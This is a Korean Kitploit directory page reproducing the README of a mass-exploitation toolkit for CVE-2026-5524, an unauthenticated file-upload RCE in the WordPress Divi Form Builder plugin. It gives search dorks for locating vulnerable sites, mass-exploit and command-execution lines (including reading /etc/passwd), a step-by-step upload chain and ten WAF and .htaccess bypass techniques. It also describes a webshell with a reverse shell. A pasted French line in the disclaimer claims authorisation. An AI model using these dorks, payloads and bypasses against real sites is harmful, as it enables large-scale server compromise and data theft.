Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-5524-PoC — CVE-2026-5524에 대한 Python 대량 익스플로잇 툴킷으로, WordPress Divi Form Builder 플러그인의 인증되지 않은 파일 업로드 RCE 취약점을 이용하며, 웹셸 업로드와 명령 실행 기능을 제공합니다. | Kitploit
도구/GitHubGitHub/iicaicai/cve-2026-5524-poc
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringWAF BypassWeb SecurityPenetration TestingRed TeamingPayload DevelopmentRemote Access Trojan
42개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
iicaicai/cve-2026-5524-poc

CVE-2026-5524-PoC

CVE-2026-5524에 대한 Python 대량 익스플로잇 툴킷으로, WordPress Divi Form Builder 플러그인의 인증되지 않은 파일 업로드 RCE 취약점을 이용하며, 웹셸 업로드와 명령 실행 기능을 제공합니다.

저장소 보기

CVE-2026-5524 — Divi Form Builder 인증되지 않은 RCE

WordPress 플러그인 Divi Form Builder <= 5.1.8의 인증되지 않은 임의 파일 업로드 취약점인 CVE-2026-5524를 위한 대량 익스플로잇 툴킷으로, 원격 코드 실행으로 이어집니다.

version Devon Aji python telegram

FieldValue
CVE2026-5524
CVSS9.8 (Critical)
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AffectedDivi Form Builder <= 5.1.8
Patched5.1.9
TypeUnauthenticated File Upload to RCE
Researcher0xd4rk5id3 - EnvoraSec

목차

  • 설명
  • Dorks
  • 설치
  • 사용법
    • 단일 대상
    • 대량 익스플로잇
    • 고급 우회
    • 명령 실행
  • 취약점 세부 정보
  • 우회 기법
  • 기술 스택
  • 프로젝트 구조
  • 공격 흐름
  • 면책 조항

설명

WordPress용 Divi Form Builder 플러그인에는 인증되지 않은 임의 파일 업로드 취약점이 존재합니다. do_image_upload() 핸들러는 사용자가 제어하는 acceptFileTypes POST 파라미터를 파일 확장자 검증에 사용되는 정규식에 직접 전달합니다. phtml과 같은 값을 제공함으로써 공격자는 .php 확장자만 차단하는 플러그인의 .htaccess 규칙을 우회하고 PHP로 실행 가능한 확장자(.phtml, .phar, .php5, .php7 등)를 가진 웹셸을 업로드할 수 있습니다.

파일이 /wp-content/uploads/de_fb_uploads/에 저장되면 Apache가 이를 PHP로 실행하여 공격자에게 웹 서버 사용자 권한으로 원격 코드 실행을 부여합니다.

이 문제는 Divi Form Builder 5.1.9에서 수정되었습니다.


Dorks

FOFA

root@kitploit:~
body="de_fb_obj" && body="fb_nonce"

Shodan

root@kitploit:~
http.html:"de_fb_obj" http.html:"fb_nonce"

Google

root@kitploit:~
inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

root@kitploit:~
app:"WordPress" && body:"de_fb_obj"

Censys

root@kitploit:~
services.http.response.body: "de_fb_obj"

설치

요구 사항: Linux, macOS 또는 WSL에서 Python 3.8 이상.

root@kitploit:~
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

사용법

단일 대상

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com

대량 익스플로잇

root@kitploit:~
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

고급 우회

WAF(NinjaFirewall, Wordfence, ModSecurity) 뒤에 있거나 Apache 또는 nginx 구성이 강화된 대상을 위한 것입니다.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

명령 실행

업로드가 성공한 후 스크립트는 즉시 명령을 실행하거나 대화형 셸로 진입할 수 있습니다.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

플래그


취약점 세부 정보

취약한 코드

취약한 핸들러는 정제 없이 사용자 입력으로부터 정규식을 구성합니다.

root@kitploit:~
public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

acceptFileTypes=phtml을 전송하면 결과 정규식 /\.(phtml)$/i가 .phtml로 끝나는 파일 이름과 일치하게 되며, 플러그인 자체의 .htaccess 파일이 .php 확장자만 차단하더라도 마찬가지입니다. 그런 다음 Apache가 업로드된 파일을 PHP로 실행하여 원격 코드 실행이 발생합니다.

확인된 공격 체인

  1. Divi Form Builder 폼이 포함된 페이지(/, /contact, /quote 등)를 크롤링합니다. ?nocache=<random> 파라미터를 추가하여 Varnish, WP Rocket 및 기타 페이지 캐시가 오래된 nonce를 제공하는 것을 방지합니다.

  2. 지역화된 JavaScript 객체에서 fb_nonce 값을 추출합니다:

    root@kitploit:~
    de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
    
  3. 다음을 포함하여 /wp-admin/admin-ajax.php에 멀티파트 폼을 POST합니다:

    root@kitploit:~
    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. JSON 응답에서 파일 URL을 읽습니다:

    root@kitploit:~
    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. base64로 인코딩된 명령으로 셸을 요청합니다:

    root@kitploit:~
    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

우회 기법

스크립트는 우선순위 순서대로 각 기법을 시도하며, --aggressive가 설정된 경우 첫 업로드가 성공을 보고한 후에도 모든 기법을 시도합니다.


기술 스택

익스플로잇 스크립트

사용자 정의 셸 (bypass.phtml)


프로젝트 구조

root@kitploit:~
cve-2026-5524/
|-- CVE-2026-5524.py          Main exploit script
|-- bypass.phtml              16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml     Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml            Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt               Example target list
|-- pwned.jsonl               Generated by the -o flag during mass scans
|-- requirements.txt          Python dependencies
`-- README.md                 This document

공격 흐름

root@kitploit:~
+--------------------------------------------------+
| 1. Recon                                         |
|    GET /?nocache=<random>                        |
|    Parse fb_nonce from de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Craft exploit                                 |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Server accepts and stores file                |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Execute                                       |
|    GET shell.phtml?x=base64(command)             |
|    Remote code execution achieved                |
+--------------------------------------------------+

면책 조항

이 도구는 교육 목적 및 승인된 침투 테스트 수행 중 사용을 위해 제공됩니다. 허용 가능한 사용의 예는 다음과 같습니다:

  • 대상 테스트를 명시적으로 승인한 버그 바운티 프로그램
  • CTF(Capture the Flag) 대회 및 전용 랩 환경
  • 자산 소유자의 서면 허가를 받은 내부 보안 평가
  • 통제된 환경에서 수행되는 학술 보안 연구

소유하지 않았거나 테스트에 대한 명시적 서면 허가가 없는 시스템에 대한 무단 사용은 거의 모든 관할권에서 불법이며 엄격히 금지됩니다. 저자는 이 코드의 오용을 용인하지 않으며 이에 대한 책임을 지지 않습니다.

J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)

관련될 가능성이 있는 법률로는 인도네시아의 UU ITE, 미국의 컴퓨터 사기 및 남용법(Computer Fraud and Abuse Act), 유럽연합 사이버 범죄 협약 및 기타 지역의 동등한 법률이 있습니다. 의문이 들 경우 먼저 서면 승인을 받으십시오.


라이선스

교육용으로만 사용하십시오. 전체 사용 약관은 면책 조항 섹션을 참조하십시오.

도구 다운로드
FlagDescription
-u URL단일 대상 URL
-l FILE한 줄에 하나의 URL이 포함된 대상 목록 파일
-t N동시 스레드 수 (기본값 10)
--timeout N요청 타임아웃(초) (기본값 15)
-o FILE결과를 JSONL 출력 파일로 저장
--proxy URLHTTP 프록시를 통해 트래픽 라우팅
--nonce HASH수동으로 제공된 nonce 사용, 자동 감지 건너뛰기
--ext EXT전체 우회 목록 대신 단일 확장자 강제
--shell성공 시 대화형 RCE 셸로 진입 (단일 대상만 해당)
--cmd CMD대상에서 하나의 명령을 실행한 후 종료
--shell-file FILE내장 셸 대신 사용자 정의 셸 페이로드 업로드
--no-verify업로드 후 RCE 검증 단계 건너뛰기
--strict-verify셸 URL이 HTTP 200을 반환하는지 확인하여 오탐 필터링
--user-iniPHP-FPM 환경을 위한 .user.ini 드로퍼 업로드
--htaccessApache 환경을 위한 .htaccess 재활성화 파일 업로드
--aggressive사용 가능한 모든 우회 기법 활성화
--null-byte널 바이트 및 이중 확장자 시도 포함
--path-traversal/uploads/YYYY/MM/ 하위 디렉터리로 업로드 시도
--debug진단을 위해 원시 HTTP 응답 출력
#TechniqueTargets
1대체 PHP 확장자 .phtml, .phar, .php5, .php7, .php4, .pht, .shtml.php만 차단하는 플러그인 .htaccess 규칙
2대소문자 변형 .PHTML, .PHP5, .PhTmL대소문자를 구분하는 WAF 시그니처 (NinjaFirewall)
3이중 확장자 .phtml.jpg, .php.jpgApache mod_mime 콘텐츠 협상 특성
4널 바이트 .php%00.jpg, .phtml%00.txt구버전 PHP (5.3.4 미만) 및 특정 파서
5후행 공백 또는 점 .php , .php.Windows IIS 및 구버전 Apache
6Content-Type 스푸핑 application/octet-stream멀티파트 Content-Type 헤더를 기준으로 하는 WAF
7.gif, .png, .jpg, .txt, .html 등에 대해 PHP를 재활성화하는 실제 .htaccess 업로드AllowOverride All이 설정된 Apache 서버
8auto_prepend_file이 포함된 .user.ini 업로드PHP-FPM 환경
9멀티파트 경계 조작을 통한 파일 이름 주입요청 본문을 재파싱하는 프록시 및 WAF
10파일 이름의 경로 순회 ../shell.phtml플러그인 디렉터리 제한
ComponentTechnology
LanguagePython 3.8+
HTTP clientrequests
TLS handling자체 서명 인증서를 위한 urllib3 비보안 모드
Concurrency대량 스캔을 위한 concurrent.futures.ThreadPoolExecutor
Parsingnonce 추출을 위한 re, 응답 처리를 위한 json
Encoding웹셸 명령 파라미터를 위한 base64
CLI19개의 구성 가능한 플래그가 있는 argparse
ComponentTechnology
LanguagePHP 7.0+
Execution functionssystem(), shell_exec(), proc_open(), passthru(), popen()
Front end일반 HTML 폼, JavaScript 프레임워크 없음
Features파일 브라우저, 명령 실행, 데이터베이스 접근, 리버스 셸, 자체 설치 .htaccess 및 .user.ini
Size약 16 KB
Bypass layers6개의 독립적인 실행 경로와 인코딩된 페이로드